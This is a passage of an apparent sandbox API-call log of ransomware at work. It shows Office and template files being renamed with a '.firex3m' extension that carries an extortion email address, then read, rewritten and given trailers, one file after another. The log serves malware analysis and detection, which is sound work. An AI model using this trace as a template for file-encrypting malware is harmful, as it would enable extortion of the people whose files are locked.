nFileSizeLow=0x69d1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STSLIS~1.FIR")) returned 0x6d5280 [0182.542] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0182.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslist.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0182.542] GetProcessHeap () returned 0x630000 [0182.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73cc2c0 [0182.542] GetProcessHeap () returned 0x630000 [0182.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73d76f0 [0182.542] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.542] ReadFile (in: hFile=0x6f4, lpBuffer=0x73cc2c0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73cc2c0*, lpNumberOfBytesRead=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0188.679] GetProcessHeap () returned 0x630000 [0188.679] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0188.679] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.679] WriteFile (in: hFile=0x6f4, lpBuffer=0x73d76f0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d76f0*, lpNumberOfBytesWritten=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0188.680] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.680] WriteFile (in: hFile=0x6f4, lpBuffer=0x73e2aef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73e2aef*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.916] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.916] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.917] CloseHandle (hObject=0x6f4) returned 1 [0190.917] GetProcessHeap () returned 0x630000 [0190.917] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d76f0 | out: hHeap=0x630000) returned 1 [0190.917] GetProcessHeap () returned 0x630000 [0190.917] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73cc2c0 | out: hHeap=0x630000) returned 1 [0190.919] GetProcessHeap () returned 0x630000 [0190.919] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0190.919] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.920] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37bf24af, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x69d3e, dwReserved0=0xb1c7496, dwReserved1=0x73cc2b8, cFileName="STSLIST.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STSLIS~1.FIR")) returned 0x6d5540 [0190.920] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0190.920] Sleep (dwMilliseconds=0x1) [0190.978] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL", len=0x3c | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL") returned 1 [0190.978] GetProcessHeap () returned 0x630000 [0190.978] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x4610) returned 0x74656a8 [0190.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xml2word.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0190.979] CloseHandle (hObject=0x6f4) returned 1 [0190.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0190.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xml2word.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xml2word.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0190.980] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML2WORD.XSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XML2WO~1.FIR")) returned 0x6d5200 [0190.980] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0190.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xml2word.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0190.980] GetProcessHeap () returned 0x630000 [0190.980] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2861) returned 0x707d3c0 [0190.981] GetProcessHeap () returned 0x630000 [0190.981] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2861) returned 0x71fbb90 [0190.982] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.982] ReadFile (in: hFile=0x6f4, lpBuffer=0x707d3c0, nNumberOfBytesToRead=0x2840, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x707d3c0*, lpNumberOfBytesRead=0x433ff0c*=0x2840, lpOverlapped=0x0) returned 1 [0192.352] GetProcessHeap () returned 0x630000 [0192.352] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176f70 [0192.352] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.352] WriteFile (in: hFile=0x6f4, lpBuffer=0x71fbb90*, nNumberOfBytesToWrite=0x2840, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71fbb90*, lpNumberOfBytesWritten=0x433ff0c*=0x2840, lpOverlapped=0x0) returned 1 [0192.352] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.352] WriteFile (in: hFile=0x6f4, lpBuffer=0x71fe3cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71fe3cf*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0192.353] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.353] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0192.353] CloseHandle (hObject=0x6f4) returned 1 [0192.353] GetProcessHeap () returned 0x630000 [0192.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71fbb90 | out: hHeap=0x630000) returned 1 [0192.353] GetProcessHeap () returned 0x630000 [0192.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707d3c0 | out: hHeap=0x630000) returned 1 [0192.353] GetProcessHeap () returned 0x630000 [0192.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176f70 | out: hHeap=0x630000) returned 1 [0192.353] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0192.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x389a7e2d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2875, dwReserved0=0xb1c7496, dwReserved1=0x707d3b8, cFileName="XML2WORD.XSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XML2WO~1.FIR")) returned 0x6d5340 [0192.354] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0192.354] Sleep (dwMilliseconds=0x1) [0193.506] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx", len=0x4f | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx") returned 1 [0193.506] GetProcessHeap () returned 0x630000 [0193.506] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47c8) returned 0x7133a90 [0193.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecarynewsletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0197.033] CloseHandle (hObject=0x4c0) returned 1 [0197.033] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0197.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecarynewsletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecarynewsletter.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.034] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.034] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8b847f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8b847f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37480, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="ApothecaryNewsletter.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APOTHE~2.FIR")) returned 0x6d4ec0 [0197.034] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0197.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecarynewsletter.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0197.034] GetProcessHeap () returned 0x630000 [0197.035] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7369048 [0197.035] GetProcessHeap () returned 0x630000 [0197.035] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7374478 [0197.035] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.035] ReadFile (in: hFile=0x4c0, lpBuffer=0x7369048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7369048*, lpNumberOfBytesRead=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0205.925] GetProcessHeap () returned 0x630000 [0205.925] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0205.925] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.925] WriteFile (in: hFile=0x4c0, lpBuffer=0x7374478*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7374478*, lpNumberOfBytesWritten=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0205.925] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.925] WriteFile (in: hFile=0x4c0, lpBuffer=0x737f877*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x737f877*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0205.926] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.926] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0205.927] CloseHandle (hObject=0x4c0) returned 1 [0205.927] GetProcessHeap () returned 0x630000 [0205.927] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7374478 | out: hHeap=0x630000) returned 1 [0205.927] GetProcessHeap () returned 0x630000 [0205.927] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7369048 | out: hHeap=0x630000) returned 1 [0205.927] GetProcessHeap () returned 0x630000 [0205.927] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0205.927] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.927] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8b847f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8b847f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x40b02ac7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x374a4, dwReserved0=0xb1c7496, dwReserved1=0x7369040, cFileName="ApothecaryNewsletter.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APOTHE~2.FIR")) returned 0x6d5280 [0205.927] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0205.927] Sleep (dwMilliseconds=0x1) [0205.931] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\THMBNAIL.PNG", len=0x6e | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\THMBNAIL.PNG") returned 1 [0205.932] GetProcessHeap () returned 0x630000 [0205.932] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c78) returned 0x6fe4288 [0205.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0205.934] CloseHandle (hObject=0x4c0) returned 1 [0205.935] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0205.935] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0205.947] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x69006b02, dwReserved1=0x6f0063, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f40 [0205.948] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0205.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0205.948] GetProcessHeap () returned 0x630000 [0205.948] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa921) returned 0x7264620 [0205.948] GetProcessHeap () returned 0x630000 [0205.948] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa921) returned 0x72de948 [0205.949] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.949] ReadFile (in: hFile=0x4c0, lpBuffer=0x7264620, nNumberOfBytesToRead=0xa900, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesRead=0x433ff0c*=0xa900, lpOverlapped=0x0) returned 1 [0213.698] GetProcessHeap () returned 0x630000 [0213.698] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0213.698] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.698] WriteFile (in: hFile=0x4c0, lpBuffer=0x72de948*, nNumberOfBytesToWrite=0xa900, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesWritten=0x433ff0c*=0xa900, lpOverlapped=0x0) returned 1 [0213.698] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.698] WriteFile (in: hFile=0x4c0, lpBuffer=0x72e9247*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9247*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0213.698] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.699] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0213.699] CloseHandle (hObject=0x4c0) returned 1 [0213.702] GetProcessHeap () returned 0x630000 [0213.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0213.703] GetProcessHeap () returned 0x630000 [0213.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0213.703] GetProcessHeap () returned 0x630000 [0213.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0213.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0213.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4552bc18, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa930, dwReserved0=0xb1c7496, dwReserved1=0x7264618, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5040 [0213.703] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0213.703] Sleep (dwMilliseconds=0x1) [0215.763] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x433ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastreviewsettings.xml") returned 1 [0215.763] GetProcessHeap () returned 0x630000 [0215.763] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4ff8) returned 0x74d7f88 [0215.763] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0215.763] CloseHandle 